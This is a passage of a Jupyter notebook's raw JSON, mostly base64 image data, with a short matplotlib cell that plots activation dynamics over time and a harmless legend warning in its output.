1estefGaSesDuwJ9ZgbwKuAiMzvc3RdWn8jdzwLOApgyZYpPnz69gcu/1EpWsvkWm7P59M2b+vk86uvro9nfV17pnotB95xGrZrCTOIpfkuiX6GcFJ4EPtvAuW8EtjezScBfgWOBd5S/6e4rgE3Lr82sD/jUwITQSupTEBGprVafwk+An5jZ29z9guGe2N1XmdkJwHxiGbofuvsiMzsNWOjuFzUddZNstZKCiEgtjfQpTDazK8vzE0pbc37S3T9f7wfdfR4wb8DXTh3i2OkNxDIyjlZJFRGpoZHn5oOqJ6y5++PAwelCSkcL4omI1NZIETnazMaWX5jZy4CxNY7vXFoQT0Skpkaaj34GXGlmPyKK1fcCZyeNKhHVFEREamtk57Wvm9ntwAHECKSvuPv85JGloJqCiEhNjdQUcPfLKG3BaWbTzOxMd/9I0sgSUE1BRKS2hpKCme0BzAaOIVZN/VXKoJJRTUFEpKZaM5p3ICaczQYeA84FzN1ntCm2llNNQUSktlo1hT8BvwcOc/clAGb2ibZElYpqCiIiNdUqIt8G/B3oNbP/M7P9GXyRu3xwLXMhIlLPkEWku//a3Y8h9mXuAz4B9JjZ/5jZgW2Kr3XK67MqKYiIDKluEenuT7v7z939UGJxvFuBIbfW7FhrSp+VFEREhjSsItLdl7v799y93q5rnUdJQUSkruIUkatLn4tzxyIiw1acIrJcU9AqqSIiQypeUijOHYuIDFtxikglBRGRuopTRCopiIjUVZwiUklBRKSu4hSRSgoiInUVp4hUUhARqas4RaSSgohIXcUpIpUURETqKk4RqaQgIlJXcYpIJQURkbqKU0QqKYiI1FWcIlIL4omI1FWcIlI1BRGRuopTRCopiIjUlbSINLNZZrbYzJaY2Ut2azOzD5nZHWZ2q5n9wcx2ThZMeTvO/O4yLSKSXLKkYGajgTOBg4CdgdmDFPrnuPtr3X0P4OvAN1PFo6QgIlJfyprCVGCJu9/r7s8Dc4Ejqg9w9yerXo5nbdHdekoKIiJ1rZPw3FsAD1W9XgrsPfAgM/sIcBIwBki397OSgohIXSmTwmDF70tqAu5+JnCmmb0D+Dzw7pecyGwOMAegp6eHvr6+YQcz/t7x7MVeLLprEcv6lg375/Oqv7+/qd9Xnumei0H3nEbKpLAU2Krq9ZbAwzWOnwv8z2DfcPezgLMApkyZ4tOnTx9+NBvHp1123QWa+PG86uvro6nfV47pnotB95xGyj6FG4HtzWySmY0BjgUuqj7AzLavenkI8Odk0aj5SESkrmQ1BXdfZWYnAPOB0cAP3X2RmZ0GLHT3i4ATzOwA4AXgcQZpOmpdQKXPSgoiIkNK2XyEu88D5g342qlV/z4x5fVfHEzps5KCiMiQijO/V0lBRKQuJQUREalQUhARkQolBRERqVBSEBGRCiUFERGpUFIQEZEKJQUREalQUhARkQolBRERqShOUihTUhARGVJxkkK6Pd1ERLpG8ZKCagoiIkNSUhARkQolBRERqVBSEBGRCiUFERGpUFIQEZEKJQUREalQUhARkQolBRERqVBSEBGRCiUFERGpUFIQEZEKJQUREalQUhARkQolBRERqVBSEBGRiqRJwcxmmdliM1tiZicP8v2TzOwuM7vdzK40s22SBaOkICJSV7KkYGajgTOBg4CdgdlmtvOAw24Bprj7bsD5wNdTxaOkICJSX8qawlRgibvf6+7PA3OBI6oPcPded3+m9PKPwJbJolFSEBGpK2VS2AJ4qOr10tLXhvI+4LfJolFSEBGpa52E5x6s+PVBvoaZHQdMAfYb4vtzgDkAPT099PX1DTuYTe/YlF3ZlYU3LaR/Rf+wfz6v+vv7m/p95ZnuuRh0z2mkTApLga2qXm8JPDzwIDM7APgcsJ+7rxzsRO5+FnAWwJQpU3z69OnDj2Z5fJqy1xTYffg/nld9fX009fvKMd1zMeie00jZfHQjsL2ZTTKzMcCxwEXVB5jZnsD3gMPd/ZGEsaj5SESkAcmSgruvAk4A5gN3A+e5+yIzO83MDi8ddjowAfilmd1qZhcNcboWBFT6rKQgIjKklM1HuPs8YN6Ar51a9e8DUl7/xcGUPispiIgMSTOaRUSkQklBREQqlBRERKRCSUFERCqUFEREpEJJQUREKpQURESkQklBREQqipMUypQURESGVJykMOj6rCIiUq14SUE1BRGRISkpiIhIhZKCiIhUKCmIiEiFkoKIiFQoKYiISIWSgoiIVCgpiIhIhZKCiIhUKCmIiEiFkoKIiFQoKYiISIWSgoiIVCgpiIhIhZKCiIhUKCmIiEiFkoKIiFQoKYiISEXSpGBms8xssZktMbOTB/n+vmZ2s5mtMrOjUsaipCAiUl+ypGBmo4EzgYOAnYHZZrbzgMMeBI4HzkkVR4WSgohIXeskPPdUYIm73wtgZnOBI4C7yge4+/2l761JGEfpYqXPSgoiIkNK2Xy0BfBQ1eulpa9lQ0lBRKSulDWFwYpfH+Rr9U9kNgeYA9DT00NfX9+wz7HVkq3Ylm35/R9+z+qXrW4mjFzq7+9v6veVZ7rnYtA9p5EyKSwFtqp6vSXwcDMncvezgLMApkyZ4tOnTx/+SW6IT2/a900wvpko8qmvr4+mfl85pnsuBt1zGimbj24EtjezSWY2BjgWuCjh9WqbCMunLIfRmUUgItLxkiUFd18FnADMB+4GznP3RWZ2mpkdDmBme5nZUuDtwPfMbFGqeDgabj/9dhiX7AoiIrmXsvkId58HzBvwtVOr/n0j0awkIiIdoDgzmkVEpC4lBRERqVBSEBGRCiUFERGpUFIQEZEKJQUREalQUhARkQolBRERqVBSEBGRCiUFERGpUFIQEZEKJQUREakw96b2vcmMmS0DHmjyxzcFHm1hOHmgey4G3XMxjOSet3H3V9Q7KHdJYSTMbKG7T8k6jnbSPReD7rkY2nHPaj4SEZEKJQUREakoWlI4K+sAMqB7LgbdczEkv+dC9SmIiEhtRaspiIhIDYVJCmY2y8wWm9kSMzs563hSM7MfmtkjZnZn1rG0i5ltZWa9Zna3mS0ysxOzjik1MxtnZjeY2W2le/5y1jG1g5mNNrNbzOySrGNpBzO738zuMLNbzWxh0msVofnIzEYD9wBvAZYCNwKz3f2uTANLyMz2BfqBs91916zjaQcz2wzYzN1vNrP1gZuAt3b5+2zAeHfvN7N1gT8AJ7r7HzMOLSkzOwmYAmzg7odmHU9qZnY/MMXdk8/LKEpNYSqwxN3vdffngbnAERnHlJS7Xw0szzqOdnL3v7n7zaV/PwXcDWyRbVRpeegvvVy39NHVT3pmtiVwCPD9rGPpRkVJClsAD1W9XkqXFxZFZ2YTgT2B67ONJL1SU8qtwCPA5e7e7ff8LeAzwJqsA2kjBxaY2U1mNiflhYqSFGyQr3X101SRmdkE4ALg4+7+ZNbxpObuq919D2BLYKqZdW1zoZkdCjzi7jdlHUubTXP31wEHAR8pNQ8nUZSksBTYqur1lsDDGcUiCZXa1S8Afu7uv8o6nnZy9yeAPmBWxqGkNA04vNTGPhd4s5n9LNuQ0nP3h0ufHwF+TTSJJ1GUpHAjsL2ZTTKzMcCxwEUZxyQtVup0/QFwt7t/M+t42sHMXmFmLy/9+2XAAcCfso0qHXc/xd23dPeJxP/j37n7cRmHlZSZjS8NnMDMxgMHAslGFRYiKbj7KuAEYD7R+Xieuy/KNqq0zOwXwHXAjma21Mzel3VMbTANeCfx9Hhr6ePgrINKbDOg18xuJx5+Lnf3QgzTLJAe4A9mdhtwA3Cpu1+W6mKFGJIqIiKNKURNQUREGqOkICIiFUoKIiJSoaQgIiIVSgoiIlKhpCCFZmYvN7MPV73e3MzOT3Stt5rZqTW+/1oz+3GKa4s0SkNSpdBKayRd0o6VZM3sWuDwWitdmtkVwHvd/cHU8YgMRjUFKbqvAtuWJrqdbmYTy3tQmNnxZnahmV1sZveZ2QlmdlJpHf8/mtnGpeO2NbPLSouV/d7Mdhp4ETPbAVhZTghm9nYzu7O0D8LVVYdeTMzUFcmEkoIU3cnAX9x9D3f/9CDf3xV4B7HWzL8Bz7j7nsRs8XeVjjkL+Ki7TwY+Bfz3IOeZBtxc9fpUYKa77w4cXvX1hcCbRnA/IiOyTtYBiHS43tLeDE+Z2QriSR7gDmC30oqsbwB+GUsvATB2kPNsBiyren0N8GMzOw+oXrjvEWDzFsYvMixKCiK1raz695qq12uI/z+jgCdKS1fX8iywYfmFu3/IzPYmNou51cz2cPfHgHGlY0UyoeYjKbqngPWb/eHSfg33mdnbIVZqNbPdBzn0bmC78gsz29bdr3f3U4FHWbu0+w4kXAFTpB4lBSm00tP5NaVO39ObPM0/A+8rrWK5iMG3er0a2NPWtjGdXtqI/c7S924rfX0GcGmTcYiMmIakirSJmX0buNjdrxji+2OBq4A3lpZ7F2k71RRE2uffgfVqfH9r4GQlBMmSagoiIlKhmoKIiFQoKYiISIWSgoiIVCgpiIhIhZKCiIhUKCmIiEjF/wcPvtiU+Qh2kQAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fc7a72a3cf8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "fig, ax = plt.subplots(1, 1, figsize=(6,6), sharex=True)\n", "\n", "ax.plot(t,a_dynamics,c='magenta')\n", "plt.grid()\n", "plt.xlabel('time (s)')\n", "plt.ylabel('Activation dynamics')\n", "\n", "\n", "ax.legend()" ] }, { "cell_type": "code", "execution_count": 14, "metadata": { "scrolled": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/opt/miniconda3/lib/python3.6/site-packages/matplotlib/axes/_axes.py:545: UserWarning: No labelled objects found. Use label='...' kwarg on individual plots.\n", " warnings.warn(\"No labelled objects found. \"\n" ] }, { "data": { "image/png": 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